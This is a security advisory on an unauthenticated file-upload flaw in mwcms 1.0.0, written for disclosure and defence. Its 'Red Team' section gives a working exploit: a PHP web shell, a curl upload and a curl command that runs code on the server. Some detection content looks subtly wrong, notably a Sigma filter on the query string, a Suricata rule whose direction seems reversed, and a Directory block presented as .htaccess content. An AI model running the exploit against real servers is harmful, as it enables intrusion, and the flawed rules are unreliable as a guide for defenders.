CVE-2024-7705

Executive Summary

CVE-2024-7705 is a critical unauthenticated unrestricted file upload vulnerability in Fujian mwcms 1.0.0. The flaw resides in the /uploadeditor.html?action=uploadimage endpoint, where the upfile parameter is not validated, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. This can lead to full remote code execution (RCE), data exfiltration, and complete compromise of the web server. The vendor was contacted but did not respond, leaving the software unpatched. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a standalone PHP-based CMS (mwcms). The supply chain risk is limited to direct deployment of the vulnerable software. Organizations using mwcms 1.0.0 should treat it as a critical supply chain risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – the vulnerable component is the web server.
• Confidentiality (C): High – full file read access.
• Integrity (I): High – arbitrary file upload leads to code execution.
• Availability (A): High – attacker can delete or modify files.

Threat Level: Critical. Public exploit code exists, and the vendor is unresponsive. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is in the uploadeditor function of /uploadeditor.html?action=uploadimage. This endpoint is designed to handle image uploads for the editor component. The upfile parameter is passed directly to a file upload routine without proper validation of file type, size, or content. The application likely uses a PHP script (e.g., uploadeditor.php) that moves the uploaded file to a web-accessible directory (e.g., /uploads/). An attacker can craft a multipart POST request with a malicious file (e.g., a PHP web shell) and receive a path to the uploaded file in the response. Once uploaded, the attacker can access the file via HTTP and execute arbitrary commands on the server.

Root Cause: Lack of file type validation (MIME type, extension, magic bytes) and missing authentication on the upload endpoint.

Attack Flow:

1. Attacker sends a POST request to /uploadeditor.html?action=uploadimage with a file containing PHP code (e.g., shell.php).
2. The server accepts the file and stores it in a public directory.
3. Attacker accesses the uploaded file (e.g., http://target/uploads/shell.php) and executes commands.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and a recommended fix.

Vulnerable Code (PHP):

<?php
// uploadeditor.php (simplified)
$uploaddir = 'uploads/';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile)) {
    echo json_encode(['url' => $uploadfile]);
} else {
    echo 'Upload failed';
}
?>

Patched Code (Recommended):

<?php
// uploadeditor.php (patched)
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp'];
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif', 'image/bmp'];
$uploaddir = 'uploads/';
$filename = basename($_FILES['upfile']['name']);
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$mime = mime_content_type($_FILES['upfile']['tmp_name']);

if (!in_array($ext, $allowed_extensions) || !in_array($mime, $allowed_mime)) {
    die('Invalid file type');
}
// Also rename file to prevent path traversal
$new_filename = uniqid() . '.' . $ext;
$uploadfile = $uploaddir . $new_filename;
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile)) {
    echo json_encode(['url' => $uploadfile]);
} else {
    echo 'Upload failed';
}
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running mwcms 1.0.0 with the vulnerable endpoint.
• Attacker machine with curl or Burp Suite.

Exploit Steps:

1. Create a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Upload the shell:

   curl -X POST -F "upfile=@shell.php" "http://target/uploadeditor.html?action=uploadimage"
   

3. The response will contain the URL of the uploaded file (e.g., {"url":"uploads/shell.php"}).
4. Execute commands:

   curl "http://target/uploads/shell.php?cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /uploadeditor.html?action=uploadimage with non-image file extensions (.php, .asp, .jsp, .exe).
• Alert on files uploaded to /uploads/ that are not images (check MIME type).
• Use the YARA and Sigma rules below.

Response:

• Immediately isolate the affected server.
• Remove any unauthorized files from the uploads directory.
• Review web server logs for the attacker's IP.
• Apply the patched code or disable the upload functionality.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious files in /uploads/ with extensions .php, .phtml, .php5, .shtml, .asp, .aspx, .jsp.
• Files named shell.php, cmd.php, r57.php, c99.php, or similar.

Network IOCs:

• POST requests to /uploadeditor.html?action=uploadimage with Content-Type: multipart/form-data.
• Outbound connections from the web server to unknown IPs on ports 80/443 (reverse shell).
• HTTP requests to /uploads/*.php?cmd= or similar patterns.

Log IOCs:

• Web server access logs showing POST /uploadeditor.html?action=uploadimage followed by GET /uploads/*.php.
• PHP error logs showing move_uploaded_file() calls.

Detection Engineering

YARA Rule

rule CVE_2024_7705_Uploaded_Webshell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2024-7705"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7705"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = /\$_GET\s*\[\s*['"]cmd['"]\s*\]/
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: CVE-2024-7705 - Unrestricted File Upload to mwcms
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable upload endpoint with non-image file extensions.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/uploadeditor.html?action=uploadimage"
    filter:
        cs-uri-query|endswith:
            - ".jpg"
            - ".jpeg"
            - ".png"
            - ".gif"
            - ".bmp"
    condition: selection and not filter
falsepositives:
    - Legitimate image uploads with correct extensions.
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7705 - Unrestricted File Upload to mwcms"; flow:to_server,established; content:"POST"; http_method; content:"/uploadeditor.html?action=uploadimage"; http_uri; content:"multipart/form-data"; http_header; pcre:"/filename=\".*\.(php|phtml|php5|shtml|asp|aspx|jsp)\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload functionality by removing or renaming the uploadeditor.html file and its associated PHP script.
2. Apply the patched code provided in the "Vulnerable vs. Patched Code" section.
3. Restrict access to the upload directory via .htaccess:

   <Directory "/var/www/html/uploads">
       Order Deny,Allow
       Deny from all
       <FilesMatch "\.(jpg|jpeg|png|gif|bmp)$">
           Allow from all
       </FilesMatch>
   </Directory>
   

4. Implement file type validation on the server side (MIME type, extension whitelist, magic bytes).
5. Rename uploaded files to random names to prevent direct access.

Long-Term Actions:

• Migrate to a supported CMS with active security maintenance.
• Conduct a full security audit of the web application.
• Implement a Web Application Firewall (WAF) to block malicious uploads.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Division. For questions, contact cti@valters-it.com.